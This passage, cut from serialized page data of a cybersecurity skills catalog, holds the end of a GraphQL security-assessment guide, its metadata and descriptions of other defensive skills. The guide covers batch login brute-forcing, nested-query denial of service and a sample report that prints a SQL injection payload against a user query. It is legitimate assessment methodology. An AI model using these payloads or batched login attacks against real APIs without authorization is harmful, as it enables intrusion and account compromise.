`passwordHash`, `ssn`, and `internalNotes` fields. While the frontend only queries `name` and `email`, any authenticated user can request sensitive fields directly.\n\n### Scenario 3: Batch Login Bypass\nThe GraphQL endpoint accepts batch queries. By sending 1000 login mutation attempts in a single HTTP request, an attacker bypasses IP-based rate limiting that only counts HTTP requests.\n\n### Scenario 4: Nested Query DoS\nA social network API allows querying `friends { friends { friends { ... } } }` up to unlimited depth. A 10-level nested query causes the server to process millions of database queries, resulting in denial of service.\n\n## Output Format\n\n```\n## GraphQL Security Assessment Report\n\n**Target**: https:\u002F\u002Ftarget.example.com\u002Fgraphql\n**Engine**: Apollo Server 4.x\n**Assessment Date**: 2024-01-15\n\n### Findings Summary\n| Finding | Severity | Status |\n|---------|----------|--------|\n| Introspection enabled in production | Medium | VULNERABLE |\n| Missing field-level authorization | High | VULNERABLE |\n| No query depth limit | High | VULNERABLE |\n| Batch query rate limit bypass | High | VULNERABLE |\n| GraphiQL IDE exposed | Low | VULNERABLE |\n| SQL injection in user query | Critical | VULNERABLE |\n| CSRF on mutations | Medium | PASS (custom header required) |\n\n### Critical: SQL Injection via user Query\n**Location**: `user(name: String)` query argument\n**Payload**: `{ user(name: \"' OR 1=1--\") { id email role } }`\n**Impact**: Full database read access via GraphQL interface\n\n### High: Batch Authentication Bypass\n**Location**: POST \u002Fgraphql (array body)\n**Payload**: Array of 100 login mutations in single request\n**Impact**: Rate limiting bypassed; 100 password attempts per HTTP request\n\n### Recommendation\n1. Disable introspection in production environments\n2. Implement field-level authorization on all sensitive fields\n3. Set query depth limit (max 7-10 levels)\n4. Set query complexity limit and cost analysis\n5. Disable or rate-limit batch queries\n6. Remove GraphiQL\u002FPlayground from production\n7. Parameterize all database queries in resolvers\n```\n",{"name":5,"tags":60,"author":62,"domain":52,"license":15,"version":63,"nist_csf":64,"subdomain":39,"description":7,"mitre_attack":69},[50,61,51,49,44,40],"graphql","mahipal","1.0",[65,66,67,68],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[70,71,72,73,74],"T1190","T1059.007","T1505.003","T1083","T1055","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fperforming-graphql-security-assessment",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":86,"prompt":96,"zipAvailable":97},[87,90,93],{"tool":88,"command":89},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-graphql-security-assessment",{"tool":91,"command":92},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-graphql-security-assessment",{"tool":94,"command":95},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill performing-graphql-security-assessment","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-graphql-security-assessment\u002FSKILL.md",true,[99,104,110],{"path":100,"resourceType":100,"resourceTypeDesc":101,"sizeBytes":102,"sourceHtmlUrl":103},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-graphql-security-assessment\u002FLICENSE",{"path":105,"resourceType":106,"resourceTypeDesc":107,"sizeBytes":108,"sourceHtmlUrl":109},"references\u002Fapi-reference.md","REFERENCE","参考文档",1404,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-graphql-security-assessment\u002Freferences\u002Fapi-reference.md",{"path":111,"resourceType":112,"resourceTypeDesc":113,"sizeBytes":114,"sourceHtmlUrl":115},"scripts\u002Fagent.py","SCRIPT","脚本",7757,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-graphql-security-assessment\u002Fscripts\u002Fagent.py",[117,142,166,191,217,243],{"skillNo":118,"name":119,"nameZh":6,"description":120,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":121,"categories":122,"keywords":124,"publishedAt":55},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[123],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[125,126,127,128,38,52,129,130,53,131,132,133,134,135,136,137,138,139,140,141],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":143,"name":144,"nameZh":6,"description":145,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":146,"categories":147,"keywords":149,"publishedAt":55},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[148],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[150,138,151,152,38,153,52,53,154,155,156,157,158,159,160,161,162,163,164,165],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":167,"name":168,"nameZh":6,"description":169,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":170,"categories":171,"keywords":174,"publishedAt":55},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[172,173],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[160,175,176,177,48,52,178,179,154,180,181,182,183,184,185,186,187,188,189,190],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1078","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":192,"name":193,"nameZh":6,"description":194,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":195,"categories":196,"keywords":198,"publishedAt":55},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[197],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[199,200,201,52,202,203,204,205,206,207,208,209,210,211,212,213,157,214,215,216],"windows","kape","triaging windows with kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":218,"name":219,"nameZh":6,"description":220,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":221,"categories":222,"keywords":224,"publishedAt":55},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[223],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[47,225,226,52,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242],"framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":244,"name":245,"nameZh":6,"description":246,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":247,"categories":248,"keywords":250,"publishedAt":55},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[249],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[38,251,52,252,253,254,255,256,257,258,259,186,260,187,261,262,263,264,265,266],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]